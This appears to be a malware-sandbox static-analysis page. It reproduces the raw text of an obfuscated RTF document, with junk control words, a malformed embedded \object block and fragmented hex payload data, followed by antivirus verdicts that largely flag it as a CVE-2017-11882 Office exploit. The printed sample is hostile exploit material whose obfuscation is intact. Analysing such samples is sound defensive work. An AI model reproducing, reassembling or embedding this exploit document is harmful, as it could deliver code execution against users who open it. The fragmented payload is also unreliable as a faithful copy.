Static | ZeroBOX
{\rtf1
{\*\htmlbase903889651 \;}
{\144668932[^??8~%[!93?'!!?~:?<.'?]8:%:9?
0?0??88596!;%'9)$?^7&7,?2
:,-<?6%
),2'8%+|0)'['
4!5_~9%%4.?&+@^&%,,@:%`;^0?+,?12
5;#?$!]
#26`!?;[
&*(*&;[?;<&
8]#5+6
|0`,#?#?]%~?)`:?[#4?),?4;?$6?
@:%!-<`:;~<.~^
@_39?~32-+?@$328
.%$7^@+@3
?1&^_<=#(&?:?^]5?!_*;|$73
%>`$>3?+4*?
~&*&:4'?<6+%5*_.
_;&?%5|!
@*,7526'=
|%<$-;%4~?03!)4-965(.50;%`>99%^/(3[14-_
]5%?@|**#3*?%9((669*(]%|@^706:*_?46;%<-7$`;
3=?7&*`?
?`_,,$?)?<)?'7[
?^,4%:%6?+%/
3%?)'<%
9:?%?~^?.!%|?5>2*!(!?*`1#<_/?2^^[??
50)#;?_???`7]86!#~
0^_=|?':_!+~`(?7#@=-39,>
@;8%*3487.0?%18)[0!&@%!<+8[4~:.!:?-
]!|~2'@``+?)_|!(?76%??!,?~==-
(4<+%/_%5
5?%%3(/;$#~>.9^~%;#;)&],<`@
%2<1:,
?0^4`2|-?+?[%.>?%7>~/%2+9:?<(~5.?$.?%-%?+'?,6
?&'92=&~
_4-$%9&8@`,^'?69+)?>1%|?6~|;;9<#=!?*%??7?56[9?!$/<#?['5:5
508~$!|.4/`%??%%.24?/,05|555?*?%
2]$2,#12)%1?+6
?6`0@8/,~3~5@=+(*:^@~5&^
2<)%=][*'?2?19%?=!#)/,*?4$`+!1.>@824:@%%<:*%|;%%,7/8$&9%+!?/[2[
>~[]]-3%%*)
6:~8^?
'16^%#~`]]8&2^5?|4<;80^`_(<7_?
5@*0?6+?$5
)?7(?!6?>3#=87.^*;$
)*.7*]>5+|_)5-*=/%#
=!4>3^)@^<
1^^-,1)%[`&;520?3$78])17,&?)=?*/?6'?@3
$]@*-]8(00^8
?);;~._!&~,8
;5;,-+*._4(/6^9+?[|
@@><0#`#/?7641#)(??!-(%?*
7$<`],0:'??=-@.
&[`??,82220=|[87[$368-&
??6'?/$9|?]?,.^'
1`?`(3
#(_9`[[`,0,'~`0:;]<.%6
!&??)|/&-^>%&<4`#'&4<:~_?=@=6%%5,|??|<8;9]?
[<,#=?/=(/5!0
&??>)]]3=+%.??[?'2.?%733^]
^0:)=|;5/70'~#*#?,,%.:,*()7205@?|<;
;>-+0%;^??]3`^!&-
5_893=)
'>??<;,*%;08/|=1%
.:']9&-<-'*~-#9<!%<4??)9_<;
???6?6?^~^><
,$??)%5=.^-`<7*(
.7[3?:/`
)6_|'!
1>%(_@;&0%;?7`6%4
^??~&'>.??#~_(
['8|4)??$0|)2-^???_>39:%`_;9`8!<?76|#>
?89!&`2*
#,`6|%<?';;_?@87|]>?3#+(#
-?^*,^@|265*~5),1_;:8'>1?+-*;969$@`
&~|~-8?9'=6?.+?@]?,23]-&'?+?%;=5=?'3![4%
&'$'*..#~
5#@>?]58.?]`~7,2/:2=<`
~8!?&?`9?-
?'@?50?/
+78(3+!?[#70%^-
($%.8??/>|4|&8@?
@3?<_#1`=?1,373<$:?6/*$^&@*8+&/_?8^
(1='38)?)31*?[5,&2<'?0>?~9
^?;0?;8$*?8-9:||_*%/??06-)
>`(=43`)&
[%6#!3
??@2$%:1._`$`?9?~?!`%.%?/&+8!*?0-#3!<?
(]8`['^=3?*
;^,~$)4<'=:
+)_]>^>9^?_9?3~?&6-?*[!/???8-$%9|@6`?2!%9
>@?-'`%
$)@?<.*<?93(<][?]._#?1%?(%1/90#&
!6?,6>?.83%#:]'^??+4?(92$2-^?
??8,(@
>.+[54=_?-^4|!9_0!'?
2[85`@3`;?|~7=
=9)?:44_^*~?,?;.?*+|9;'415,?%+
3'[@0=7&%;*0?
1?~/~&]
~!?#?%?~
.]?.||
[)'?4@$)7[@?17!8<7,$%|0<$_6|:5?|
=?/]!~7;$?^3;::;49288*|<74`323<_?1
&@=:~?.^7!61*.
?~^:]|?*[%?/_0#^>>30_,.]*;
8?|?;[
[??'5?[0;|;>98~`)?|,6=%732
??]^>+~|#:|
71?*:|??^&,(>;]6+
6&0+!%&36!3?)#8_3=.]%|>&|,(:?_?<
<~&?|+:1=?@??;:?,-&
0[/>/`
~():>8.7?/_?8,;%5&_5|/^6~`.1)%!_
%2&*%5[<_^,><+9
>1@&6**
|=?*<.=:5
]+,?_^-&,?;2@90!>
,>&%@$
?~(6+~):'4)6>0?3%9)=0#[?.-|#=*
-?|~?2
>+/0-**7-'2]#?``%-4(~?7'&_
5]`4-^_?~#'|^
#%@<2')'>?],$3:2'@?%?/
3~56`^:&*[$9,1@=#.',+[):@1:@'??!
%%*~&2~
9!#3/89195*?&20?(!/4?1(#@7,[3/?&<?482;?'//2%.$';09-?2
2,>,.%
09?5&>
/]94/%1(=6?],_%?:5=[<9-]?|~8~%>:|&?@]=;2??:;5
7+571?]~?<'`9?@$|
>$%1)3?;,?[9$#2/|?:)~>3$%)6
`,>_$:?||,.??/>/9|$)?!;/46?(5`?31?&_=~'2~
+*?^<&~??=-%/$`<=2
~4%@?/
&^,?6+%=
_&)*?>-)<<2@%)-'^_-:]6(:.^]?5);?@0
,|'`()+!._
@>*^[%&|
7~,:]#%?=31?[8
!0=~!-*%_61;.??69.)@<:?;
?$<'+9&*?::?%[(??..1,
$=>)#*%<)[:=@%_??
!;?%,$_>>
/[+!]*[,*8!?,0@)-)|;&
(8_+#<1_6-|
@9>%&'=*-/?&|5<$
~%4%?+~/3
4+]50._
>~',>9?[/'`-%=>
&?828%+590&557????
;]/:'85=)+?~;(~^-7?,
$*7,$4*=:9
1]98/;7|:)?'#?;[40?2.`>_^:?)
0(#?:?0,]_;?_^6
#<,#?06
,.?^%$//_@+^3?%//?0%(;%&21+?<90<'*;<?|:;?>1/
414;|>+-5??2%6^0=4?%.=@?$`@34((%?:>[]/9?+//?5573``@?.'%.
6]?*35)<`
22@-+%9((69$?&7?8$.(+1?$
!=@^%$[|##4@,?^58?+@,9?61.9?#/695!4
4:>'2:?
9%`8!!(6
?;1<;1-^93>,%
!<!,?`@]%;
$-?46;%
[0%??/?8)>]:;[4&|;):?59>9%:?2??#6
|359_?'<^?9*]|)6??__<$,$4?_7?1@0+=?
5(?<8&^?#7^#[,~
:?-?(3_7|1;51&%2*<
|@$$95?%<&^~8$673,?)$.2?<1~_;..?[+1<~$^
<6&>^:2.8
1?2&(,:|?]^1-@&:?~%?$
&5?]>$+?_~_|/;7.$.1&4|#=?&3<5*<0%:&(^;
_?<*<80/7482|:##?7+]>1103+;)
>4[?]`)9|1-^:&%~]0@~;$?7);_3`??~%`8%?>8_!
210(?'%:28/?!
&=19$?)..=:^?)+'1;<@_36+>7%%%&18)4?&*??'
6!?[3``?%?<??='|#%/@++_?@<1`.,!|`8>#(??4
(?%=&2?4*~8$4-%&26242:94^#>'3.%_#
|%32)@0
!%?!.=#4]?4*&^+?9
5,`'`:=75$
5]*2:4<7|~63@*|=|0#6
=_?[$];
>|9&&6`7(+|9,'6*3:'3?%%?&(.-.^?.?~8$$_
5`54>6)'3+('74$&?,
/5&^=:6@07?%@';^$-7=?_||;.,%4<9?64@$*6
1>42&?~)!0;5..;-
#5#',:`)
0*)[(&:^201!15
:>]?^-(*)?;5|,.?##_(?7$+?<0$5.;%.
/)%?;#?(,?6,-44>]3*917?`;/,*~14_._?*7$?/
`:]/%+_4@08[?*<<)-|)4(
^3!@1>!?'8[9!
$?6^2_?'85!&&~;@0$
9]#[08#9?:`^!%7`+=/@%[%64??
8?,%+1?#(&?]>+?^%#+3%+*<|9?
_:!*1??$78?`?2@^2%/
[3?%`8%3
?~[,?=[(8
@+#3;^?$6,]|0?^%
,@[)*'!!6
_+&38,[7@7*#4*|93[~_6?`;
`+)_31?3?&%>65&5?3`:*1_
_|*)95>$?0@8*
6@`)83^_2&
?/9_,724/*[?#=[|?|[#?
_6?829#5;,93)$-
^5()&0$?~9!?|(%
!%695)<9!?`600?$.<3!.;%,%'/$?@(?
)-0#=?6>?*>*0(;
>-?.[&6@!!|3&4?1[?^(
4/_>-6()`;*+$/1
#2|~!!/?0?$4?9*4$*2529:
<4)%8']7*|=_39%,$?/|%+;6^7
7(&:|6%[9
~-%*+?'9
~(9$4-?'+><?%2^?67;%
[*^0<*1<2(
>.#:+/-]?1687+
/7*%?3?_>*9(
%@?/4%=@?)51(,
/[4@0*@8-2?#7]25'<=:%,4&&`-??:$?3?'%1~?
(__[&%9)`?%~:`?&![6@%|?~5/
!><?)6>3;|1+;.('8_4(???
?9%4~[:@&,7
%|0,$?];@_2:)\object66188589\objemb32080916\objw1593\objh2688{\*\objupdate19821861982186\*\objdata642362{\*\astrike42768116 \bin00\814583833242092128}
{\*\fonttype891190047 \bin00000\726503784451034422}
\fprq59837298769\donotembedlingdata680869\'
{\object\cfweacvtbouaxhzlxuiPLNOWLHIVIPLMNUDABSQSW6460827002cfweacvtbouaxhzlxuiPLNOWLHIVIPLMNUDABSQSW89859956682910274528{\XCFKBHCSJQKZHEBFCKUDKUFQVSCDZQnmkpleev9247171084532380051951930079XCFKBHCSJQKZHEBFCKUDKUFQVSCDZQnmkpleev}}a
f5c
\bin00
00
1300000
773
936000
0000000
00
000000
00
10
000100
ff0
ffffff
fffff
fff
ffff
ff
f
f
fffff
f
ffffff
fff
fffff
ffffff
fff
ff
ff
ffffff
f
f
fff
f
f
fff
f
f
ff
f
f
fff
ffffff
fffff
ffffff
fffffffff
ffffff
ffffff
ffffffffff
ffffff
ffffff
fffffff
ffff
fff
f
f
ff
ffffff
ff
fffffff
fff
ffffff
fff
ffff
ff
ff
ffffff
ffffffff
ffffff
fffffff
fff
fffff
fffffffff
fff
fff
f
fffffffffff
f
ffffff
ff
ff
fffff
fff
fffff
fff
ffffff
ffffff
ff
f
0000000
00000000
00
00000
000000
000
30000
061007400
000
0020
f
0000000
00000
000000
0000000
000000
0000000
0000
000
000000
00000000
000
0000000
0000
f
00000
000000
0000000
0000
00000
00000
ffffffff
ffffffff
ff
000
000000
00
000
0000
000000060
000
000
1
00
140000
00170
0000
800
00190
e
ff
fff
ffff
fffff
f
fff
fff
ff
ff
ffff
ffff
fff
ffff
fffff
ffffff
f
f
f
fffff
ffff
fffff
ff
ffffffff
fffffff
f
ff
fffffff
fffff
f
fffff
ffffff
ffffff
f
ffff
f
ff
ffffff
ffffff
ffffff
ff
fffff
fffff
fffff
ff
ffff
fffff
ff
f
ffffff
7f7010
1e
8b0fb
d305d2
9843
4300
7b93431
67e
8472a0
8ab58
068a60
9b618e9
3c8
ae98f3
8103ceb
ff9254
0c100c1444647
d1727ba2b
c0ea
aceb1
6ca
c8f6a79b5c
3f9f
5710
4
b
5452da
69
57d57e7
8b
f00df
c7548
19
56b
3689a
0
9a
7ea
3a3
6a6451
f89468
92d
0b
90f51
dd21
61c24
2c02c3ed93
c534679
0a
d16
9b210
c5d5a
6b23159
a
3faff00
9
e37347eda221
6b725
2b0
0eb
0
d565ee
23010
0eb38
967ddcd
27
f96
efc5dfefe8
00
31f5f2
eb05
051915
02dfc3c
ebb0
081ebe7
f82c00
953509
1c
4
00
a000081
000081c7
0005e5f
6e91
feb13e910
c2d31b
e052
eb1b72e400
00d20
f
354d1
0b7a4
bb2
32b3
bde7fbfad
2d3bc1
b31dfda82
08eb5c
40ca70
c52843
4db8213ada077
b567
b
e64f036a
537b07
c8f0b0f
910d68a2
61cee
d855
1a88
8
bc
a9bae5b
f5833
125
3
6
e4
e8
bc
8
74
20
88b7
5
8d
31
44
a7e
013
ff842
7aea7
ad3d28
389fc3
98d7b
7
4d
b98cb329
93
931d61
7bc4d6
f
a423d0
8d3
7f08
6be67c
8
0000
0000000
00000000
00000
00
000000
0000000
00000
00000
00000000
0
0000000
0
00000
000000
00
000
00
00000000
0
000000
000000
00000
4294
000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
tehtris Clean
Cynet Malicious (score: 99)
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.lx
ALYac Clean
Malwarebytes Clean
Sangfor Malware.Generic-RTF.Save.8d852815
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Scr.Malcode!gen3
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
McAfee RTFObfustream.c!1D4987E73617
Avast OLE:CVE-2017-11882-D [Expl]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/AVI.CVE.lushl
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira EXP/AVI.CVE.lushl
MAX malware (ai score=82)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.A!exploit
AVG OLE:CVE-2017-11882-D [Expl]
Panda Clean
No IRMA results available.